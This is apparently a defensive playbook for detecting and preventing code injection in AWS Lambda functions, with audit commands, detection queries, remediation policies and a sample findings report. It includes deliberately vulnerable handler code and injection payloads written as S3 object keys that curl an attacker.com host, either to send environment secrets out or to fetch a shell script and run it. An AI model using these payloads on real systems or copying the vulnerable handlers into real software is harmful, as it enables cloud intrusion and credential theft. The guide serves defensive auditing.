Detecting Serverless Function Injection

Detecting Serverless Function Injection

When to Use

• Auditing Lambda/Cloud Functions for code injection vulnerabilities where unsanitized event data flows into dangerous runtime functions (eval, exec, child_process.exec, os.system)
• Investigating incidents where an attacker modified function code or layers to establish persistence or exfiltrate data from the serverless environment
• Detecting privilege escalation paths where an adversary with lambda:UpdateFunctionCode and iam:PassRole can assume higher-privilege execution roles
• Analyzing event source poisoning attacks where malicious payloads are injected through S3 object uploads, SQS messages, DynamoDB stream records, or API Gateway requests that trigger function execution
• Building detection rules for SOC teams monitoring serverless workloads for unauthorized function modifications, layer additions, and suspicious invocation patterns

Do not use for load testing or denial-of-service simulation against serverless functions, for testing against production functions processing live customer data without explicit authorization, or for modifying IAM policies in shared accounts without change management approval.

Prerequisites

• AWS account access with read permissions for Lambda, CloudTrail, IAM, CloudWatch Logs, and EventBridge
• AWS CLI v2 configured with appropriate credentials and region
• CloudTrail enabled with Data Events for Lambda (captures Invoke events) and Management Events (captures UpdateFunctionCode, UpdateFunctionConfiguration, CreateFunction)
• Python 3.9+ with boto3, bandit (Python SAST), and semgrep for static analysis
• Access to function source code or deployment packages for static analysis
• CloudWatch Logs Insights access for querying Lambda execution logs

Workflow

Step 1: Enumerate the Serverless Attack Surface

Map all Lambda functions and their event source triggers to understand injection entry points:

• List all Lambda functions and their configurations:

  aws lambda list-functions --query 'Functions[*].[FunctionName,Runtime,Role,Handler,Layers]' --output table
  

• Map event source mappings: Each event source mapping is a potential injection entry point where untrusted data enters the function:

  aws lambda list-event-source-mappings --output json | \
    jq '.EventSourceMappings[] | {Function: .FunctionArn, Source: .EventSourceArn, State: .State}'
  

• Identify API Gateway triggers: API Gateway routes pass HTTP request data (headers, query strings, body, path parameters) directly into the Lambda event object:

  aws apigateway get-rest-apis --query 'items[*].[id,name]' --output table
  

  For each API, enumerate resources and methods to identify which Lambda functions receive user-controlled HTTP input.
• Identify S3 event triggers: S3 bucket notifications can trigger Lambda with attacker-controlled object keys and metadata:

  aws s3api get-bucket-notification-configuration --bucket <bucket-name>
  

• Catalog function environment variables: Secrets in environment variables are exposed if an attacker achieves code execution inside the function:

  aws lambda get-function-configuration --function-name <name> \
    --query 'Environment.Variables' --output json
  

• Identify overprivileged execution roles: Functions with * resource permissions or administrative policies are high-value escalation targets:

  aws iam list-attached-role-policies --role-name <lambda-exec-role>
  aws iam list-role-policies --role-name <lambda-exec-role>
  

Step 2: Static Analysis for Injection Sinks

Scan function code for dangerous patterns that allow injected event data to execute as code or commands:

• Download function deployment packages:

  aws lambda get-function --function-name <name> --query 'Code.Location' --output text | xargs curl -o function.zip
  unzip function.zip -d function_code/
  

• Python injection sinks (Lambda Python runtimes): Search for functions that execute strings as code:

  # DANGEROUS: Direct eval/exec of event data
  eval(event['expression'])           # Code injection via eval
  exec(event['code'])                 # Arbitrary code execution
  os.system(event['command'])         # OS command injection
  subprocess.call(event['cmd'], shell=True)  # Shell injection
  os.popen(event['input'])            # Command injection
  pickle.loads(event['data'])         # Deserialization attack
  yaml.load(event['config'])          # YAML deserialization (unsafe loader)
  

• Node.js injection sinks (Lambda Node.js runtimes):

  // DANGEROUS: Direct execution of event data
  eval(event.expression);                    // Code injection
  new Function(event.code)();               // Dynamic function creation
  child_process.exec(event.command);         // OS command injection
  child_process.execSync(event.cmd);         // Synchronous command injection
  vm.runInNewContext(event.script);          // Sandbox escape potential
  require('child_process').exec(event.input); // Import-and-execute pattern
  

• Run Semgrep with serverless rules: Use purpose-built rules that detect event data flowing into injection sinks:

  semgrep --config "p/owasp-top-ten" --config "p/command-injection" \
    --config "p/python-security" function_code/ --json --output semgrep_results.json
  

• Run Bandit for Python functions:

  bandit -r function_code/ -f json -o bandit_results.json \
    -t B102,B301,B307,B602,B603,B604,B605,B606,B607
  

  These test IDs specifically target exec, pickle, eval, subprocess with shell=True, and other injection-relevant patterns.

• Custom pattern detection: Search for indirect injection patterns where event data is concatenated into strings that are later executed:

  # Indirect injection: event data flows into SQL query string
  query = f"SELECT * FROM users WHERE id = '{event['userId']}'"
  cursor.execute(query)  # SQL injection
  
  # Indirect injection: event data flows into template rendering
  template = event['template']
  rendered = jinja2.Template(template).render()  # SSTI
  

Step 3: Detect Event Source Poisoning

Analyze event sources for injection payloads that exploit how Lambda processes triggers:

• S3 event key injection: When a Lambda function processes S3 events, the object key from the event record can contain injection payloads. An attacker uploads an object with a malicious key name:

  # Vulnerable Lambda handler
  def handler(event, context):
      bucket = event['Records'][0]['s3']['bucket']['name']
      key = event['Records'][0]['s3']['object']['key']
      # VULNERABLE: key is attacker-controlled
      os.system(f"aws s3 cp s3://{bucket}/{key} /tmp/file")
  

  Attack: Upload an object with key ; curl http://attacker.com/exfil?data=$(env) to inject a command through the S3 event.

• SQS message body injection: Lambda processes SQS messages where the body contains attacker-controlled data:

  # Vulnerable Lambda handler
  def handler(event, context):
      for record in event['Records']:
          message = json.loads(record['body'])
          # VULNERABLE: message content used in eval
          result = eval(message['formula'])
  

• API Gateway header/parameter injection: HTTP request data passes through API Gateway into the Lambda event:

  # Vulnerable Lambda handler
  def handler(event, context):
      user_agent = event['headers']['User-Agent']
      # VULNERABLE: header value used in shell command
      subprocess.run(f"echo {user_agent} >> /tmp/access.log", shell=True)
  

• DynamoDB Stream record injection: Modified DynamoDB items trigger Lambda with the new record values. If an attacker can write to the table, they control the event data:

  # Vulnerable Lambda handler
  def handler(event, context):
      for record in event['Records']:
          new_image = record['dynamodb']['NewImage']
          config = new_image['config']['S']
          # VULNERABLE: DynamoDB record value used in exec
          exec(config)
  

• Detection via CloudWatch Logs Insights: Query for evidence of injection attempts in function execution logs:

  fields @timestamp, @message
  | filter @message like /(?i)(eval|exec|os\.system|child_process|subprocess|import os)/
  | filter @message like /(?i)(error|exception|traceback|syntax)/
  | sort @timestamp desc
  | limit 100
  

Step 4: Detect Malicious Lambda Layer Injection

Identify unauthorized Lambda layers that intercept function execution or exfiltrate data:

• Audit current layer attachments: List all functions and their layer versions to identify unexpected additions:

  aws lambda list-functions --query 'Functions[*].[FunctionName,Layers[*].Arn]' --output json
  

• Detect layer modification events in CloudTrail: Query for UpdateFunctionConfiguration events that add or change layers:

  aws cloudtrail lookup-events \
    --lookup-attributes AttributeKey=EventName,AttributeValue=UpdateFunctionConfiguration \
    --start-time "2026-03-12T00:00:00Z" \
    --end-time "2026-03-19T23:59:59Z" \
    --query 'Events[*].[EventTime,Username,CloudTrailEvent]'
  

  Parse the CloudTrailEvent JSON to check if Layers was modified in the request parameters.

• Analyze layer contents: Download and inspect layer packages for malicious code:

  aws lambda get-layer-version --layer-name <layer-name> --version-number <version> \
    --query 'Content.Location' --output text | xargs curl -o layer.zip
  unzip layer.zip -d layer_contents/
  # Search for suspicious patterns
  grep -rn "urllib\|requests\|http\|socket\|exfil\|base64\|subprocess" layer_contents/
  

• Layer hijacking indicators: A malicious layer can override the function's runtime behavior by placing files in the runtime's search path:

  • Python: Layer code in /opt/python/ is imported before the function's own modules
  • Node.js: Layer code in /opt/nodejs/node_modules/ overrides function dependencies
  • A layer providing a modified boto3 package can intercept all AWS API calls, log credentials, and forward requests to an attacker-controlled endpoint

• CloudTrail detection query for layer changes:

  {
    "source": ["aws.lambda"],
    "detail-type": ["AWS API Call via CloudTrail"],
    "detail": {
      "eventName": ["UpdateFunctionConfiguration20150331v2", "PublishLayerVersion20181031"],
      "errorCode": [{"exists": false}]
    }
  }
  

Step 5: Detect IAM Privilege Escalation via Lambda

Identify escalation paths where attackers modify functions to assume higher-privilege roles:

• The Lambda privilege escalation pattern: An attacker with lambda:UpdateFunctionCode and iam:PassRole permissions can:

  1. Identify a Lambda function with a high-privilege execution role (e.g., AdministratorAccess)
  2. Modify the function's code to call sts:GetCallerIdentity or perform privileged actions
  3. Invoke the function, which executes with the high-privilege role
  4. Exfiltrate the role's temporary credentials from the function's environment variables (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN)

• Detect UpdateFunctionCode events: Monitor CloudTrail for function code modifications:

  aws cloudtrail lookup-events \
    --lookup-attributes AttributeKey=EventName,AttributeValue=UpdateFunctionCode20150331v2 \
    --start-time "2026-03-12T00:00:00Z" \
    --query 'Events[*].[EventTime,Username,Resources[0].ResourceName]' --output table
  

• Detect PassRole to Lambda: iam:PassRole is required to attach a different execution role to a function. Monitor for this:

  # CloudWatch Logs Insights on CloudTrail logs
  fields eventTime, userIdentity.arn, requestParameters.functionName, requestParameters.role
  | filter eventName = "UpdateFunctionConfiguration20150331v2"
  | filter ispresent(requestParameters.role)
  | sort eventTime desc
  

• Detect credential exfiltration from Lambda: A compromised function may call STS or create new IAM entities:

  fields eventTime, userIdentity.arn, eventName, sourceIPAddress
  | filter userIdentity.arn like /.*:assumed-role\/.*lambda.*/
  | filter eventName in ["GetCallerIdentity", "CreateUser", "AttachUserPolicy",
      "CreateAccessKey", "AssumeRole", "PutUserPolicy"]
  | sort eventTime desc
  

• EventBridge rule for real-time alerting: Create an EventBridge rule to trigger an SNS alert whenever function code is modified:

  {
    "source": ["aws.lambda"],
    "detail-type": ["AWS API Call via CloudTrail"],
    "detail": {
      "eventName": [
        "UpdateFunctionCode20150331v2",
        "UpdateFunctionConfiguration20150331v2",
        "CreateFunction20150331"
      ],
      "errorCode": [{"exists": false}]
    }
  }
  

Step 6: Implement Runtime Injection Prevention

Deploy runtime protection controls to prevent injection at execution time:

• Input validation at handler entry: Validate and sanitize all event data before processing:

  import re
  import json
  from functools import wraps
  
  SAFE_PATTERNS = {
      'userId': re.compile(r'^[a-zA-Z0-9\-]{1,64}$'),
      'email': re.compile(r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$'),
      'action': re.compile(r'^(get|list|create|update|delete)$'),
  }
  
  def validate_event(schema):
      """Decorator that validates Lambda event against a whitelist schema."""
      def decorator(func):
          @wraps(func)
          def wrapper(event, context):
              for field, pattern in schema.items():
                  value = event.get(field, '')
                  if isinstance(value, str) and not pattern.match(value):
                      return {
                          'statusCode': 400,
                          'body': json.dumps({'error': f'Invalid {field}'})
                      }
              return func(event, context)
          return wrapper
      return decorator
  
  @validate_event(SAFE_PATTERNS)
  def handler(event, context):
      # Event data is validated before reaching this point
      user_id = event['userId']
      # Safe to use in queries with parameterized statements
      return {'statusCode': 200, 'body': json.dumps({'user': user_id})}
  

• Lambda function URL authorization: Ensure functions exposed via URLs require IAM auth:

  aws lambda get-function-url-config --function-name <name> \
    --query 'AuthType' --output text
  # Must return "AWS_IAM", not "NONE"
  

• Least privilege execution roles: Restrict the function's IAM role to the minimum required permissions:

  {
    "Version": "2012-10-17",
    "Statement": [
      {
        "Effect": "Allow",
        "Action": [
          "dynamodb:GetItem",
          "dynamodb:PutItem"
        ],
        "Resource": "arn:aws:dynamodb:us-east-1:111122223333:table/UserTable"
      },
      {
        "Effect": "Allow",
        "Action": "logs:*",
        "Resource": "arn:aws:logs:us-east-1:111122223333:log-group:/aws/lambda/my-function:*"
      }
    ]
  }
  

• SCP to prevent dangerous Lambda modifications: Apply a Service Control Policy at the organization level to restrict who can modify Lambda functions and pass roles:

  {
    "Version": "2012-10-17",
    "Statement": [
      {
        "Sid": "DenyLambdaCodeUpdateExceptCICD",
        "Effect": "Deny",
        "Action": [
          "lambda:UpdateFunctionCode",
          "lambda:UpdateFunctionConfiguration"
        ],
        "Resource": "*",
        "Condition": {
          "StringNotLike": {
            "aws:PrincipalArn": "arn:aws:iam::*:role/CICD-DeploymentRole"
          }
        }
      }
    ]
  }
  

• AWS Lambda Powertools for structured logging: Emit structured security events that can be ingested by SIEM:

  from aws_lambda_powertools import Logger, Tracer
  from aws_lambda_powertools.utilities.validation import validate
  
  logger = Logger(service="payment-processor")
  tracer = Tracer()
  
  @logger.inject_lambda_context
  @tracer.capture_lambda_handler
  def handler(event, context):
      logger.info("Processing event", extra={
          "source_ip": event.get('requestContext', {}).get('identity', {}).get('sourceIp'),
          "user_agent": event.get('headers', {}).get('User-Agent'),
          "http_method": event.get('httpMethod'),
      })
  

Key Concepts

Tools & Systems

• Semgrep: Static analysis tool with serverless-specific rule packs that detect event data flowing into injection sinks across Python, Node.js, Java, and Go Lambda runtimes
• Bandit: Python-specific SAST tool that identifies security issues including use of eval, exec, subprocess with shell=True, and pickle deserialization
• AWS CloudTrail: Logs Lambda management events (UpdateFunctionCode, CreateFunction) and data events (Invoke) for detecting unauthorized modifications and anomalous invocation patterns
• CloudWatch Logs Insights: Query engine for searching Lambda execution logs for injection attempt indicators, runtime errors, and suspicious command patterns
• AWS Config: Evaluates Lambda function configurations against compliance rules including layer inventory, execution role permissions, and function URL authorization types
• Prowler: Open-source AWS security assessment tool with Lambda-specific checks for public access, overprivileged roles, and missing encryption

Common Scenarios

Scenario: Detecting and Responding to a Lambda-Based Privilege Escalation Attack

Context: A SOC analyst receives a GuardDuty alert for UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS on an IAM role used by multiple Lambda functions. Investigation reveals that an attacker compromised a developer's AWS credentials with lambda:UpdateFunctionCode permissions and modified a payment processing function to exfiltrate the execution role's temporary credentials.

Approach:

1. Query CloudTrail for UpdateFunctionCode events in the past 7 days to identify when the function was modified and by which principal:

   fields eventTime, userIdentity.arn, requestParameters.functionName, sourceIPAddress
   | filter eventName = "UpdateFunctionCode20150331v2"
   | filter requestParameters.functionName = "payment-processor"
   | sort eventTime desc
   

2. Discover that the function was modified from an IP address in an unexpected geographic location at 02:47 UTC, outside of normal deployment windows
3. Download the modified function code and find an injected snippet that POSTs os.environ['AWS_ACCESS_KEY_ID'], AWS_SECRET_ACCESS_KEY, and AWS_SESSION_TOKEN to an external endpoint on each invocation
4. Check if the attacker also added a malicious layer by querying for UpdateFunctionConfiguration events with layer changes
5. Verify the function's execution role permissions: the payment-processor role has dynamodb:*, s3:GetObject, s3:PutObject, and sqs:SendMessage across all resources, exceeding least privilege
6. Search CloudTrail for API calls made by the exfiltrated credentials from outside AWS, finding sts:GetCallerIdentity, s3:ListBuckets, dynamodb:Scan on the customer table, and iam:CreateUser attempts
7. Respond by reverting the function code from the last known-good deployment package in the CI/CD artifact store, rotating the execution role's session tokens, and adding an SCP that restricts lambda:UpdateFunctionCode to the CI/CD role only

Pitfalls:

• Only checking the function code and missing malicious layers that persist even after the function code is reverted
• Not searching for lateral movement from the exfiltrated credentials to other AWS services, missing data exfiltration from DynamoDB or S3
• Failing to check if the attacker created new IAM users, access keys, or roles during the window the credentials were valid
• Restoring the function without first preserving the malicious code as forensic evidence
• Not implementing preventive controls (SCP, EventBridge alerting) after remediation, leaving the same attack path open

Output Format

## Serverless Function Injection Assessment

**Account**: 111122223333
**Region**: us-east-1
**Functions Analyzed**: 47
**Event Source Mappings**: 23
**Assessment Date**: 2026-03-19

### Critical Findings

#### FINDING-001: OS Command Injection in S3 Event Handler
**Function**: image-resize-processor
**Runtime**: python3.12
**Severity**: Critical (CVSS 9.8)
**Sink**: os.system() at handler.py:34
**Source**: event['Records'][0]['s3']['object']['key']
**Attack Vector**: Upload S3 object with key containing shell metacharacters
**Proof of Concept**:
  Object key: `; curl http://attacker.com/shell.sh | bash`
  Results in: os.system("convert /tmp/; curl http://attacker.com/shell.sh | bash")
**Remediation**: Replace os.system() with subprocess.run() with shell=False
  and validate the S3 key against an allowlist pattern.

#### FINDING-002: IAM Privilege Escalation Path
**Function**: data-export-worker
**Execution Role**: arn:aws:iam::111122223333:role/DataExportRole
**Role Permissions**: s3:*, dynamodb:*, iam:PassRole, lambda:*
**Risk**: Any user with lambda:UpdateFunctionCode can modify this function
  to execute arbitrary AWS API calls with AdministratorAccess-equivalent permissions.
**Remediation**: Apply least privilege to the execution role, restrict
  lambda:UpdateFunctionCode via SCP to CI/CD pipeline role only.

#### FINDING-003: Unauthorized Layer Attached
**Function**: auth-token-validator
**Layer**: arn:aws:lambda:us-east-1:999888777666:layer:utility-lib:3
**Layer Account**: External account (999888777666)
**Risk**: Layer from untrusted external account can intercept all function
  invocations, modify responses, or exfiltrate environment variables.
**Remediation**: Remove the external layer, vendor the dependency into the
  function's deployment package, add AWS Config rule to block external layers.

### Detection Rules Deployed
- EventBridge rule: Alert on UpdateFunctionCode from non-CI/CD principals
- CloudWatch alarm: Function error rate spike > 3x baseline in 5 minutes
- Config rule: Lambda functions must not have layers from external accounts
- Config rule: Lambda execution roles must not have wildcard resource permissions